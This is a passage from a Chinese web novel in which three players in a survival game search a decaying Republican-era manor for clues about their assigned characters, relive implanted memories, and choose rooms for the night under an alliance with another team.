一把黑色的大伞在头顶撑开,挡住雨水。
沈墨棠错愕回头,身后的陶瓷娃娃正为她举着伞,它自己则是淋着雨,反正一直穿着雨衣。
怎么感觉还挺适合……
与宋白河还有周彤交换眼神后,沈墨棠大步向前。
“啪!”、“啪!”
宋白河、周彤也相继走进雨中。
三人小心下了燕台,踩着水流湍急的石阶,经过假山拱门,穿过悠长的曲桥……即便有陶瓷娃娃撑伞,冒着暴雨的三人还是下身全湿,狼狈躲进沿湖游廊内。
“小九,你为什么要跟他们说那些?”周彤终于找到机会,问出心中困惑。
沈墨棠走在最前面,没管湿透了的
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裤子和鞋,抓紧时间观察古朴典雅的庄园建筑。
她解释了句:“他们也看到过巨人。”
“我不是问这个,”周彤拍掉身上的水珠,在木栏上踢掉鞋子里的水,“你提前告诉了大家游戏规则?”
“小六姐,他们早晚会知道。”
“是这么说没错。”周彤站定,沉吟须臾,看向沈墨棠,身上酝酿出一些看不见的东西:“不过,我的意思是,他们问什么,你就回答什么,这很不对劲。我们先讲清楚吧,避免接下来发生什么误会。”
“嗯。”
沈墨棠顿了顿,感受到背后的警惕气息,她没有回头,顺着湖边曲折的游廊往前:“之前吃过亏。”
“吃亏?”
“新人战,我被投了最多票。”沈墨棠没说太多。
她还清楚记得当新人战投票结果公布,自己变成“淘汰者”的时候,这种没有固定结果的游戏方式还是让她记忆深刻。
周彤周身气息退散,她小跑了一步跟上,满不在乎:“懂了,我也是万子牌。”
【蓬莱】里的牌面分配,索子是女性,筒子是男性,万子是“淘汰者”。
社交游戏,三个参赛人员,两个是独来独往万子牌,东城这牌面,怎么看怎么吃亏。
沈墨棠又“嗯”了一声,没再回应。
社交从来就是她不擅长的事情。所谓的“礼貌”、“情商”、“人情世故”她统统都不着边。更多的时候,沈墨棠宁愿独自一人,待在没人在意的角落,做自己想做的事情。
正因为如此,她才会在新人战的时候变成“淘汰者”吧?
人总不能在同一个地方吃两次亏。
四方战是由四个阵营共同进行的游戏,阵营和阵营之间往往既是对手又是帮手,彼此都在“敌人”和“盟友”之间反复横跳。
游戏总共要进行42个小时,注定是一场鏖战。
不树敌,先保证己方胜率提高,再做打算。
暴雨被瓦顶分割,游廊白墙挡住了雨水,从不时出现的月门和花窗向外看,一侧是湖水激荡,另一侧则绿竹折枝。
“我们跟南城的约定,要遵守吗?”宋白河的声音响起,岔开话题。
他跟在两人身后,听着对话,视线穿过两个陶瓷娃娃和周彤,望着沈墨棠那张清冷的侧脸,仿佛捕捉到什么。
“约定的是……”周彤接上宋白河的话题:“……我们选单数房,他们选双数房?”
刚才在燕台后台商量时,南城老仙儿提了个结盟的建议:
“咱得先定一下,选房别选重咧。”
根据规则,每天入夜前,玩家需要向陶瓷娃娃提交今晚要住的房间——如果只有一个人选,房间就是“吉屋”;如果有多个人选,房间就是“凶屋”。
玩家总共12名,屋子却只有10间,必然会产生“凶屋”。
凶屋里只有一个人能“逢凶化吉”,其他人会被扣分。
要想保证最大限度拿分,同个阵营的人就会选不同屋子过夜。不同阵营的人撞到一起时,就各凭本事,看谁先摇响屋子里的“铃铛”,成为“逢凶化吉”的那个人。
游戏基本就是“趋吉避凶”这样进行。
老仙儿提出结盟方式,让东城选屋的时候,从“甲”、“丙”、“戊”、“庚”、“壬”这五个“单数”屋当中选;南城则从“乙”、“丁”、“己”、“辛”、“癸”这五个“双数”屋里选。
这样两个城区的人就不会选到同个屋子,避免彼此冲突。
“对啊,我们要按他说的选吗?”宋白河伸展了一下胳膊,高举起手,像是要测量指间到廊梁的距离。
周彤心中也有顾虑:“嗯……关键是那人说的可信吗,总感觉他……不是很可靠。”
沈墨棠已经走出游廊,顺着垂灯的屋檐,来到一面恢弘门楼前。
刚才从燕台往这边看,这里的青瓦白墙重重叠叠,有许多建筑,像是个大宅院的感觉。
现在走近了,才看清檀色门楼上,有鎏金醒目的“长香居”三个字。
“先信吧。”沈墨棠抬腿,迈过及膝的门槛。
79. 巫凌海庄园6
门内的景致大不相同。
庭院暴雨肆虐,正中央一颗巨大的樟树,底下落满厚厚一层枯枝烂叶。
庭院三侧都有楼房,群青色的砖石水泥结构,方方正正。
从外廊判断,楼房至少3层,每层的层高近4米,建筑样式中不中、洋不洋。
“啪!”
沈墨棠一走进庭院,身后的陶瓷娃娃第一时间撑起了伞。
即便樟树很大,庭院还是显得空落落的。樟树周围应该原本有一圈户外长椅,但现在只剩还没锈光的椅腿,凸在石板路面上。
“啪!”、“啪!”
周彤和宋白河也相继走进庭院。周彤说了句:“民国风”。
民国风?
是有点像电视剧里民国时期的建筑风格,那种中式和西式结合的洋楼的感觉。
沈墨棠认可周彤的说法,看向右侧两幢一模一样的楼房,外墙规整,立柱和外廊扶手横竖交接。
她踩着雨水,经过樟树,顺着石板路来到楼房前。
屋檐很窄,几乎挡不住雨,好在靠外的楼房大门倒了一扇,能直接进入。
楼内什么都看不清,本来晦暗就的天光被暴雨彻底挡在外面。
沈墨棠花了好一阵子,直到眼睛稍稍适应这种黑暗,才迈开步子。
“我们要进去吗?”宋白河提醒道:“里面会不会有危险?要不先去找点灯什么的?”
周彤也伸手拦住沈墨棠:“小九,跟在我后面。”
没等周彤行动,宋白河就闪身抢在她前面进去,留下一句:“你们等一下,我好像看到窗户了。”
原本走在最前面的沈墨棠,发现自己就这样被保护在最安全的位置,颇有种“哼哈二将护我周全”的感觉。
很快,就在宋白河的身影快要消失在黑暗中的时候,里面响起沙沙的拉动声。
随后是“咔”地一声断裂,光线突然从另一侧打了进来,只见宋白河一手扔下沉重的窗帘,一手在面前来回挥扫,扇掉扑面的尘埃,轻轻咳嗽几下。
借着微弱的天光,能看见一个空旷破旧的大厅。
胡桃木色的鱼骨拼接地板坑坑洼洼,实木墙裙到处都是鼓包,霉烂,上半部分墙刷了漆,但分辨不出颜色。
宋白河又“刺啦”扯下了另一扇窗的帘子。
窗户很大,比人还高。更多光线穿越雨幕和琉璃,透进大厅。
能看到一张坏了的安乐椅,墙边几个破木台子,原本罩着的桌布只剩一地碎屑,跟发灰的杂草似的。大厅一侧,折返的楼梯通向二楼。
沈墨棠抬头,看向高高的大厅吊顶,至少两三层楼那么高,隐藏在更深的黑暗中。
“这什么破地方。”周彤在门口踢掉裤子上的雨水,走进大厅里。
沈墨棠跟在小六姐身后,踩着嘎吱作响的木地板,心中也在怀疑这么破旧的建筑里,会有设想中提示游戏角色关系的线索吗?
还是说她想错了,整个【巫凌海庄园】只是游戏场地而已,是个空壳?
一楼左右各有两间房,共四个房门,都是涂了漆的木门,样式老旧复古,门上还带着玻璃窗。其中一扇门内有小布帘半遮着,另外几扇门的布帘应该早就掉了。
沈墨棠漫步到右手边靠外的一间,透过门头窗往里看。
第一印象是房间很乱,家具都倒了一地,墙皮发霉腐烂,脏兮兮的。
拧动门把手,门能打开。
“咳咳咳!”
推开门,一股陈腐的气息扑面而来,惹得沈墨棠连忙躲开。
回头时,看到宋白河已经挡在前面,用衣领捂着口鼻,朝房间里伸头。他像是闭着气,很快回身放下衣领:“里面漏雨,全都烂透了。”
“嗯。”
沈墨棠从宋白河身侧看去,房间里确实惨不忍睹,没有一样东西是成形的。
她又走向旁边的一间,门头窗的布帘半挂着。
拧了拧门把手,门锁还□□。
宋白河上来接手拧门,又用力推了推,惹得房门“哐哐”响,门内的帘布都掉了。
“让开。”周彤在身后叫开两人,毫不犹豫抬腿“嘭”地将门踹开!
房子已经烂成这样了,不在乎多一道裂痕。
“等……!”沈墨棠脸色一变,根本没来得及制止。
见房门已经轰然倒塌,她连忙看向周彤的陶瓷娃娃——玩家对游戏内场景的破坏,会被视为“暴力行为”吗?!
黑色的呼吸面罩内,生物能源的废气声频率很稳定。
高大身躯站得笔直,黑色雨衣上水珠汇成一股股流落。
陶瓷娃娃没有反应。
沈墨棠松了口气。
周彤一愣,迎上沈墨棠目光,尴尬撇开脸,没头没尾辩解着:“那之前的游戏里也没被它们跟过。”
“现在有了。”沈墨棠坚持:“当心点吧。”
“知道了。”
……
确认安全后,沈墨棠将宋白河留在门外,自己和周彤进了房间。
房间不太,长条形,或许是因为门窗都紧锁着,里面的家具保存得还算好,看得出原先的布局,桌子、衣柜、洗脸盆架、柱子床,应该有人居住。
窗帘掉在瘸腿的木桌上,暴雨拍打窗户,半透明的玻璃窗很结实,没有丝毫动摇。
沈墨棠捂着口鼻,一双眼睛四下观望。
“小九。”周彤已经走到房间里侧的柱子床旁,屈身看着床头。
床头有块隔板松开了,被她随手拉开,露出里面的暗格。如果不是因为时间太久,床架有些变形,这小小的隐秘暗格根本不可能暴.露。
暗格里藏着一个肥皂块大小的铁盒,表面锈渍明显,但保存完好。
感觉上,应该是什么重要的东西。
沈墨棠和周彤互换了眼神,点了点头。
周彤掏出铁盒,打开盖子时发出干涩的摩擦声。掀开后,掏出里面的东西,是一张折得刚刚好的红纸,以及一张对折的黑白照片。
红纸上写着墨字,繁体,字迹遒劲,很漂亮。
周彤只看了一眼,便将它递过来,接着去打开黑白照片。
因为折痕和老旧的关系,照片模模糊糊的,但看得出是两个人,一男一女,像是结婚证件照。
“写的什么?”周彤问。
沈墨棠皱了皱眉,开始辨认红纸上的字:
【
喜今日赤繩系定……聯璧合
卜他年白……永偕桂馥蘭馨
夫:……
妻:春蘭
】
有几处墨渍淡去,模糊不清。
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最后的“春蘭”笔画稚嫩,明显是另一个人的字迹。
“可能是……婚书?”沈墨棠不太确定。
“婚书?藏得那么深。”周彤将铁盒和相片都递给沈墨棠,失去了兴趣,转而继续在房间内到处搜寻。相比起分析线索,她明显更喜欢寻宝。
沈墨棠则沉默着,又将红纸看了一遍。
越看,脑子就越兴奋!
果然有线索!
游戏设置每个白天四个小时,果然是为了让玩家在庄园内寻找角色线索!
所以,12个角色里有“春兰”?
春兰结婚了,住在这里,还将重要的东西藏在床头暗格……但,这房间不太像是有小两口住。
沈墨棠看着小六姐在房间里翻箱倒柜:
床是单人床,牙杯只有一个,一条毛巾落在洗脸盆架旁边,床底的鞋子只有女款,那些衣柜、桌屉里的东西,也全是单人份。
倒像是个单身宿舍。
“乓、乓”几声,柜门掉落,瘸腿的桌子也彻底报废。
周彤一边咳出灰尘,一边兴致勃勃干着拆家的活,很快将屋子里的家具都翻了个底朝天。
宋白河在门口忍不住问了句:“要帮忙吗?”
“没东西了。”周彤嘀咕着,专心致志。
“走吧,小六姐。”沈墨棠将婚书和相片收回铁盒中,也受不了满屋子的尘土:“我们去其他房间看看。”
抓紧时间,认真探索庄园,应该就能知晓每个角色[喜爱]的人、[厌恶]的人。
越早掌握这些,就越早掌控游戏!
从满屋尘埃中回到大厅,沈墨棠吹了吹刘海,打起精神:“不知道白天还有多久。”
环顾四周,没见到任何钟表一类的东西,就算有,应该也早就坏了。玩家想知道具体时间,只能回到“燕台”查看。
“怎么了小九?”周彤问。
沈墨棠目光投向二楼,清楚光单单探索完这一幢楼,就需要不少的时间。
更别提整个庄园。
庄园的每个不起眼的角落,都可能像床头的暗格那样,藏着角色信息。
“小六姐,我们抓紧时间到处找找,但不要离太远,天黑前需要选房间。”
沈墨棠说着,顿了顿,看向身后的陶瓷娃娃,尝试问它:“怎么递交房间号?”
规则里说了,玩家需要在天黑前,向自己的“随从”提交今晚要住的房间号。
——但具体怎么“提交”?
“呲……”
陶瓷娃娃的呼吸面罩里发出古怪的气压声,胸腔位置竟然探出一块工业风浓重的机械密码盘,上面有“甲”、“乙”、“丙”、“丁”、“戊”、“己”、“庚”、“辛”、“壬”、“癸”十个按键,以及一个“确定”键。
这突然的动静把在场的三人都吓了一跳。
呼吸面罩响起机械音:“请玩家选择今日住房,一旦确认,无法更改。”
原来是这么选……
沈墨棠和两个队友都对视一眼,点点头:“还有时间,我晚点选。”
陶瓷娃娃立即将面板收回体内。
“找找有没有什么人名之类的吧,最好是找到和我们三个角色相关的东西。”
天黑之前,能找多少是多少。
80. 巫凌海庄园7
沈墨棠第一次没发现,自己原来对“找东西”这么不擅长!
推开一扇扇老旧的房门,被陈腐的空气熏得晕头转向,在各种杂七杂八的旧家具里手足无措……
基于宋白河角色“巫乐安”的“少爷”身份,能推断出庄园的主人应该是姓“巫”。庄园里还有“医生”、“客人”等等,以及一个叫做“春兰”的已婚女士。
此外,根本找不到任何有用的信息。
沈墨棠站在楼梯口,面对空旷的大厅“望楼兴叹”。
负责搜索二楼另一侧的周彤倒是捷报频传:
“你们过来”。
沈墨棠一边感慨“拆家式搜索”果然效果拔群,一边动身小跑过去。
只见小六姐在二楼最里侧的房门口招手。等沈墨棠靠近时,被她拍拍肩道:“找到老公了!”
“老公?”
“春兰的老公。”小六姐指向房内:“叫马五,是这里的护院。”
沈墨棠听得满头问号,只能亲自进房间看看。
相比其他房间,这间房大了许多,用木栏隔成两部分。一侧摆满了武器架,跟唱戏似的,刀枪棍棒斧钺钩叉十八般兵器样样都有;另一侧放着罗汉床,开口的立柜,缺了手的红木太师椅,月牙桌倚在墙上,酸枝木的圆凳横躺在地,一张落满灰的大画案底下是两块小巧玲珑的钉绣墩。
沈墨棠注意到,那张红木太师椅的椅背刻着四个繁体字:
【忠肝義膽】
“这里。”周彤拉沈墨棠绕到太师椅后面,指向那张大画案。
案上横陈一把入鞘的刀,跟电视剧里面那种清兵的佩刀很像,沈墨棠算是第一次在“现实”中见到。
刀上落满灰,不知道还拔不拔得出来。旁边有一块半个巴掌大的灰尘印子,像是什么东西被拿走了。
“这个。”周彤亮出手里一块小小的铜牌。
沈墨棠念出铜牌上的刻字:“巫凌海庄园。”
周彤将铜牌翻过来,另一面刻着【護院馬五】
马五?
是个编号?还是个名字?
沈墨棠沉默着,一时半会难以确定。
“还有这。”周彤跟个毫无感情的引导NPC似的,又指向旁边的立柜。
立柜是杂木材质,一些男士的衣物、脸盆、鞋袜、牙线牙杯等凌乱摆放,看得出刚被彻底翻过。
周彤双手各一角,捏起一堆衣服上的一条违和的粉色手帕:“这是从衣服里翻出来的。”
手帕角落绣着【管家春蘭】四字。
春兰的手帕?
春兰是个管家?
为什么她的手帕会夹在男人的衣服堆里?
“春兰”和“马五”有什么关系吗?
沈墨棠皱着眉头,试图将这些线索联系起来,又问道:“小六姐,还有别的吗?”
“就这些……”周彤看了看四周,突然“哦”的想起什么似的,找了立柜的上层,又回身看了散落地上的物件,最终锁定了一截断掉的木头。
她展示木头底部一个红色的圆形印记:“这东西有用吗?”
印记像是盖章,中间的字是“西昇”还是“四晷”之类的。
沈墨棠看着木头的形状,三角形,一头粗一头细,也不知道原本是什么东西。
“嗯,再找找……宋白河呢?”
看上去像是什么器械的配件,也许宋白河会知道这木头的用处。
“在三楼吧。”周彤说着退出房间,身上衣服因为雨水和尘土的关系,变得脏兮兮的,像个到泥地里打滚的学生。
沈墨棠也没好到哪去。
她拿着木头,穿过走廊回楼梯口,叫道:“宋白河。”
三楼静悄悄的。
“宋白河?”
缓步上了楼梯,转过拐角,却见到宋白河就坐在三楼楼梯口,旁边站着陶瓷娃娃。
没听到吗?为什么不回应?
沈墨棠意识到有什么不对:“宋白河?怎么了?”
他脸色煞白,满头大汗,微低着头,静静的没有任何反应。
“宋白河。”沈墨棠半蹲下来,将手轻轻放上宋白河肩膀。
结实的身躯猛地一动,他像是受到极大的惊吓,抬起头,瞳孔在眼眸里颤抖,看清面前的人后,才迅速稳定下来。
沈墨棠:“怎么了?”
“我……”他扶着墙站起,终于恢复平常状态:“我看到东西了。”
什么东西会把这个身高接近一米九的人吓成这样?
“嗯?”
沈墨棠看向他身后的三楼走廊,层高比1、2楼低了很多,窗户也开得很小。屋外天色渐渐变暗,走廊黑洞洞的,像条阴间路。
“怎么啦?”听到动静周彤也跟上来,经过两人就要往三楼去。
宋白河招手拦住了她:“不是,是……这里看到了。”
他指了指自己的脑袋。
沈墨棠和周彤都皱了眉,交换一下眼神。
宋白河认真点头:“我好像被人欺负了。”
……
河田楼一直都是巫乐安望而却步的地方。
那里是管家、护院、庄园的仆人们住的地方。
他们都不喜欢他,他们骂他是“捡来的野种”、“下贱的畜生”。他们只敢背地里骂,不敢当面骂,更不敢当着老爷的面骂。
巫乐安听过那些谩骂,难听,肮脏,恶毒,好比一群鬼,恨不得吃人。
自从知道河田楼是他们的住处,是庄园下人们的“大本营”,巫乐安便再也不靠近这里。每次进长香居,都要绕着这栋楼走。
但他还是被带进来了。
被不知道谁,以不知道什么理由,带进来。
“他们都不在。”
身边人说了什么,巫乐安没听清楚,或者应该说是宋白河没听清楚。
记忆里只有核桃木色的地板,静悄悄的楼房,阳光投进窗户,弥散开来,倒颇有种迷幻感。他没敢抬头,视线从左晃到右,又从右晃到左,见到黄绿色的墙漆,一道道房门,几个晾衣架被挂在门口,木的,像抽人的柳条。
他顺着楼梯往上,不只有自己的脚步声,还有旁边人的脚步声,啪嗒啪嗒的。
好不容易上到二楼,又上三楼,没有丝毫停留。
“他们都不在。”
还是那句话,好像一句重复的咒语,控制着他拾级而上,不停抬起僵硬的腿。
光线变暗,再变亮,被风吹开的窗帘让阳光反复无常,陌生的长廊仿佛扭曲了,化作溪上摇摆的纸船,一晃又一晃。
走了。
他往前走,一步一步。
巫乐安应该是头一回踏上河田楼的三楼。
听说这里用来存放杂物,大多都是仆人们用的,还有一年到头各种节日要用的物件。
然后,头就被罩住了。
不知道谁,用什么东西,罩住了。
眼前瞬间一片黑
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,耳旁嗡嗡的,脑子也嗡嗡的,只是本能意识到危险,胡乱挣扎起来。
宋白河痛苦地蹲在黑暗中,抱着头,承受记忆里的拳脚相向。
对了,还有那些谩骂,那些在耳后交替回响的,不知是真是假的谩骂声。
“捡来的野种”、“下贱的畜生”。
其中有个浑厚的嗓子,操着粗野的口音,毕恭毕敬:“少爷,差不多了,再打下去要出人命咯。”
后脑一阵击打的剧痛,他醒来。
……
宋白河的讲述断断续续,似乎他自己也不明白到底发生了什么,只是一味望着黑洞洞的三楼,心有余悸。
“少爷?”周彤靠在摇晃的楼梯扶手上,扭了扭脖子:“是在叫你?”
角色“巫乐安”的身份就是“少爷”。
宋白河摇着头:“不像……”
“所以你是打人的,还是被打的?”
宋白河煞有介事捏了捏肩膀,扶着腰,一副浑身伤痛的样子:“我肯定是被打了!”
“真被打?”
“感觉都淤青了。”
“看看。”沈墨棠指了指他扶着的地方。
“啊?”宋白河还没反应过来,身上的衣服就被周彤一把掀开。
后腰、后背结结实实干干净净,一点伤都没有。
周彤歪着脑袋,冷冷地补充解释:“你是感觉自己被打了?”
宋白河:“嗯,很真实,跟做梦不一样。”
真实的压迫感,疼痛,胆怯与绝望,发自心底的慌乱,被压抑的盛怒和憎恨。
心有余悸,历历在目。
“我[憎恨]的人,应该是打我的那些人吧?”宋白河确认自己没有受伤,整了整衣服,突然开始摆臂热身。
沈墨棠皱着眉头:“你干嘛?”
“我再进去一次。”他对着黑洞洞的走廊,眼含怒意:“我刚才醒来就在里面,是一点点挪到这里的……再进去看清楚,打我的人到底是谁!”
话语间铿锵有力,仿佛真的将自己代入“巫乐安”的角色。
沈墨棠没有阻止,只是眼神示意周彤跟上。
再进去看看。
看看三楼走廊里,会有什么让宋白河出现“幻觉”的东西。
这明摆着是“巫乐安”曾经的记忆,同一个场景,不同的人,不同的时间……如果宋白河能够“找回”这些记忆,那么他[喜爱]的人和[憎恨]的人应该呼之欲出!
三人前后踏上黑暗的走廊,三个高大的陶瓷娃娃跟在他们身边。
“沙沙沙”、“沙沙沙”……
暴雨拍打走廊窗户,不知道是因为天上的乌云积攒得更密,还是时间接近入夜,总之光线更暗了,走廊里几乎看不清人脸。
“嚓!”
云层里打下一道闪光,随后是“轰”的一声雷声。
沈墨棠不禁咽了口唾沫。
三个人谁都没有说话,只是一步步往里走,经过一扇扇窗户,一道道门,一路缓缓走至三楼尽头。
宋白河在尽头的窗前回身。
窗外正好又是一道闪电,在他背后闪过,照亮他严肃的侧脸。
——轰隆!
“宋白河?”周彤有意无意护在沈墨棠身前。
闪电过后,重归昏暗。
宋白河困惑的声音响起:“好像没有了。”
“什么没有了?”
“那个……幻觉,没出现啊!”
81. 巫凌海庄园8
暴雨,沿湖的曲廊一隅。
席炎从拱门后冒出,看清眼前的场景,瞬间变了脸:“卧…!怎么又回来了!这湖到底多大啊!”
他烦躁转身,差点一头撞上自己的陶瓷娃娃。
“起开起开!跟这么紧干嘛!”
在老仙儿的安排下,他要回去找到被吊着的房间,试试还能不能见到“巨人”。
老仙儿的原话是:“俗话说触景生情,咱得经历经历才晓得咧。”
“狗屁经历!你们不是说都没看到吗,跟我一起去看呗!”
席炎心底还是有点虚,既怕看见巨人,又怕巨人只是自己的幻觉,所以想拉两个队友一起。
但老仙儿只用“快点做事,分工合作,别磨蹭”就将他打发走了。
于是席炎独自一人,冒雨往回走。
最初的时候,心情忐忑;到后来,变成了另一种忐忑。
——他迷路了。
“不是,这地方有问题吧!”
望着暴雨笼罩的庄园建筑,席炎在电闪雷鸣中晃悠,不停在“怀疑自己”和“怀疑世界”之间左右横跳。
明明是按照来时的路往回走,怎么就找不到一开始的房间呢?
目光所及,素墙黛瓦,亭台绿植,假山石径,似乎都差不多,像是某座设计雅致的中式园林,在极端的雷雨天气里,显得不识人情,荒凉凄婉。
“刚才是从这条路出来的……还是说真的走错方向了?”
席炎踩着湿滑的鹅卵石路,再次驻足,又折返回去。
虽然有陶瓷娃娃打伞,但在时而狭窄时而空旷的园林中,不论是他还是它,都早就湿透。
“卧槽你这卵用没有,还不如收起来,碍事!”
席炎气不打一处来,没想到身后的陶瓷娃娃“啪”的一声,真的收了伞。
于是暴雨毫无遮拦砸在他身上,衣服内外湿得透透的,鞋子里灌满了水,每走一步都听见雨水的滋滋声。
该不会,游戏就是故意设计不让玩家回到最开始房间吧?
席炎来时还特意记了路,但走了两趟后,越来越混乱。
不论从园林的哪个出口离开,都回到沿湖的曲廊上,远远望见湖中小岛。
“话说人都哪去了?”
他最终决定放弃,顺着曲廊走。
身上的雨水在曲廊地上拖出一道长长的湿痕,很快前面出现一座六角亭子,就在曲廊的分叉处。
席炎甩了甩脑袋,向后抹去头发中的雨水,打量亭子。
亭头刻有“眠鹊亭”三字,单檐,施三踩的斗拱,大式木构件,交箍头枋藏在亭顶内,样式十分传统。亭子算“六面开”,前后都能上,两侧是靠座,可供歇脚赏景。
要换成是晴朗或者春雨绵绵的天气,坐在亭子里欣赏湖面和小岛的景色,吹着凉爽的轻风,肯定十分惬意……
“呃……!”
席炎太阳穴突然一跳!
脑袋像是被敲了一棍,瞬间“嗡”地一声,难以自持。
但周围没有人,只有身后的陶瓷娃娃尽职尽责守着。
“卧槽……好晕……”
席炎双手捂着太阳穴,踉踉跄跄走上眠鹊亭,跌坐在靠座上。
眼睛睁不开了,耳朵也听不见了,但意识里却风起云涌,呼喊,惨叫,疯狂的开枪声,尖啸着落下的炮弹,轰隆作响,像是雷,像是雨,像是撕扯的风,硝烟和泥土飞扬,鲜血和火药味呛得肺里发痒!
“裴贤侄,裴贤侄,可还好?”
席炎猛地喘过气来,视线收进了阳光,湖面荷花满盛,在艳阳下招摇蓬勃,间或两声娃叫,搭着蝉鸣,鸟啼,还有湖里鱼儿的咕嘟水声。
抬手,低头,作揖,嘴里像是应了什么,但席炎一点都听不清。
这是哪?眼前是谁?
眼前的湖,好不一样,那么美丽绚烂,炎热的空气里飘着清香,阵阵爽风吹进眠鹊亭内。
“哈哈哈。”
有人在笑,谁在笑?
“裴贤侄勿要见外,你乃少年英雄,若非遭遇那场兵变,此早已有一番成就……”
在说什么?
眼前的人在说什么?
席炎视野微微晃动,周围的声音左耳进右耳出,像是听了,又像是没听,不知道为什么又要抬手做什么动作,然后开口,说着自己都听不清的话语。
真是邪门!鬼上身了?
“哈哈,不提也罢,也罢。你兄妹二人就安心住下,巫某定保你兄妹周全!”
视野一低,却是往前,像是从靠座起身,又近了地面。
我在做什么?
席炎伏低头颅,看着身下的影子,双手举在头顶,抱着拳。
我在说什么?
视野扬起,逐渐往上,越过身前的人影,瞥见盛开的荷花,远处延绵的龙檐飞脊,还有刺目的艳阳天。
“轰隆!!!”
雷声击穿耳膜,直击内心,风雨盖过所有暖意,眠鹊亭犹如江中扁舟,崖前孤树。
席炎一口气差点背过去,终于咳嗽着喘出来,大口大口狼狈呼吸,声音抽得像是没水的吸管,好半天只从喉咙里吐出两字:“卧槽!”
侧头,看见陶瓷娃娃依然站在身侧,它丝毫不在乎半个身子露在亭檐外,被淋得透透的。
“你刚才说话了?”
“叫我啥来着?裴……哦?等等……”
席炎呼吸渐渐平稳,仔细观察了“眠鹊亭”,以及周围的环境。
他还记得刚才老仙儿在说“触景生情”的时候,那副惹人讨厌的意味深长的表情。
“真的是触景生情?”
难怪确认角色的时候,要大费周章被陶瓷娃娃“抱”那么一下,电麻了。
……
和宋白河幻觉中的印象一样,这幢被他叫做“河田楼”的三楼,所有房间基本都是储物间。
旧的桌椅、床板,发霉的蚊帐、被褥,各种日用品,还有什么破灯笼、梯子一类的东西。
天色越来越暗,老旧的楼房内没有任何照明,很快无法再搜寻下去。
三人下到一楼大厅,宋白河才又想起什么似的站住,噔噔噔又跑回楼梯上拿了件东西下来:“我觉得,这块木头可能是枪托吧?”
“枪托?”沈墨棠看着宋白河手上那块印有红章的三角形破木头。
经宋白河这么一说,倒是和电视剧里看到的那种老式步.枪枪托有几分相像。
“嗯……”
护院马五的房间门后,有一块单独的枪托?
感觉合理又不合理。
有枪托的话,枪呢?
周围没有枪身被锈蚀掉的痕迹,而且枪托也并非整块的,有明显断裂的断面。
三人站在原地,一时半会想不出什么头绪。
打破沉默的,是三个陶瓷娃娃。
机械音毫无征兆响起:“玩家请注意,距离进入夜晚还剩30分钟,请及时提交今日住房号。”
声音沙沙的,在黑暗的大厅中回荡。
仔细看去,一身黑的陶瓷娃娃几乎和环境融为一体,要是天光再暗一些,恐怕就要看不见它们了。
还有30分钟就要入夜,在这之前如果没选好房间,将会直接淘汰,积分清零。
宋白河等了一下,见沈墨棠跟周彤都不说话,忍不住问道:“快天黑了,我们选哪个?”
总共12名玩家,选10间房。
想多得分,最好就是三个人分开来,选不同的房间,这样才有可能进入“吉屋”。
基于与南城的同盟约定,东城只要在“甲”、“丙”、“戊”、“庚”、“癸”这五个“单数”房中选择,就能避免与南城遭遇。
沈墨棠吹了下刘海,清冷的眸子隐藏在黑暗中,眉头紧锁。
对于选房间这件事,她其实在看到规则的时候,就已经在考虑。
但……不愧是“四方战”!
第一个游戏【巫凌海庄园】就这么大场面!
即便已经事先知晓规则,进游戏后还是感到压力山大!
各种未知的内容层出不穷:被倒吊的开场、红蟹的突然出现、陶瓷娃娃的限制、被植入的角色记忆、未知的“巨人”……
玩家一方面要努力适应游戏,一方面又不能让这些眼花缭乱的东西搞混了脑子。
沈墨棠考虑了很久。
时间一分一秒流逝,天色一点一点变黑。
“小九?”
小六姐像是提醒:“你说,我们选哪个房间?”
进游戏前,沈墨棠根据规则选出宋白河、周彤两人,都是为了防备游戏中大概率出现的“暴力对抗”。
但因为有“陶瓷娃娃”的存在,这种担忧成了无稽之谈。
至于游戏策略方面,宋白河和周彤都
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见过沈墨棠的表现,对她绝对信任。进游戏前三人也说好了,策略的事情听沈墨棠的,打架的事归他们两负责。
所以,当此时沈墨棠抿紧嘴唇一言未发,两人只能干等着。
“嗯……”
沈墨棠皱着眉,用手指轻敲额头。
她不算是一个自信的人,也不喜欢领导别人,更从未对他人负过责。
她乐于独来独往,自担后果。
但想要参加四方战,就必须以团队形式,从集体出发。
沈墨棠清楚记得,新人战被投票成为“淘汰者”的感受——失落,绝望,命运从手中溜走的无力感。
究竟是“体力游戏”更令人讨厌,还是“社交聚会”更让人手足无措呢?
为了不重蹈覆辙,沈墨棠从游戏一开始,就尽量表达“合作”的倾向,避免被其他三个城区共同针对。
“八筒游戏”是她主动请缨,她选的人。
但这不是她自己的游戏,是团队的游戏。
四方战,合作才能提高胜率。
不管是团队内的合作,还是团队外的合作。
只有先打赢四方战,才有可能接触到永夜城的真相,看看那所谓的【十二本位】到底是什么东西!
“我觉得……”
似乎是见沈墨棠难以抉择,宋白河挠着头:“既然我们和南城约好了,那就还是选单数房吧?怎么样?”
第一天,先试试吧。
沈墨棠扬眉,冲他勾起嘴角,勉强算是同意。
宋白河松了一口气。
等了一会,他又继续道:“那……选第3、第5和第7?我选‘丙’、小六姐选‘戊’、你选‘庚’?”
“嗯。”
沈墨棠顿了顿,神色逐渐凝重:“我们很可能会碰上其他玩家。可以的话,务必要摇到铃铛。”
“怎么了?”周彤面露困惑。
怎么就“很可能碰上其他玩家”了?
12位玩家抢10间屋子……从概率上应该怎么算?
“希望是我想多了。”沈墨棠摇头,没再说什么,转身面对陶瓷娃娃:“我要选房间。”
呼吸面罩内“呲呲”两声,陶瓷娃娃胸口探出那块机械面板。
沈墨棠迟疑一秒,按下“庚”,再按下“确定”键。
“玩家成功选择住房。”陶瓷娃娃收起面板。
宋白河和周彤相视一眼,有样学样,分别选了“丙”和“戊”。
窗外雷雨轰鸣,三人在黑暗的楼房里,惴惴不安等待游戏第一个夜晚到来。
会像沈墨棠预感的那样,遇上其他玩家吗?
……
又一阵子后,陶瓷娃娃突然开始报数:
“玩家请注意,即将进入夜晚。”
“倒计时10……9……8……7……”
沈墨棠深吸了一口气,大脑突然一阵晕眩!
“6……5……4……3……”
意识逐渐模糊,陶瓷娃娃的声音越来越近,直至耳后。
“2……1……”
眼前出现一簇火舌,火光如墨般晕开,照亮周围。
刘海下的眼眸一凝!
沈墨棠发现,自己已经没有身处大厅,而是在一间熟悉的小屋子里,就像刚进游戏被倒吊着的地方。
好消息是,自己没有被吊着。
被吊在屋顶中央的,是一个古铜色的钟形铃铛,奶茶杯大小,正常人光靠跳够不到那个高度。
坏消息是,屋里还有一个人。
在燕台见过的,北城的,坐在司徒雅身边的,秃顶背心男。
格子窗外暴雨喧嚣,盖不住屋内尖锐的广播声:
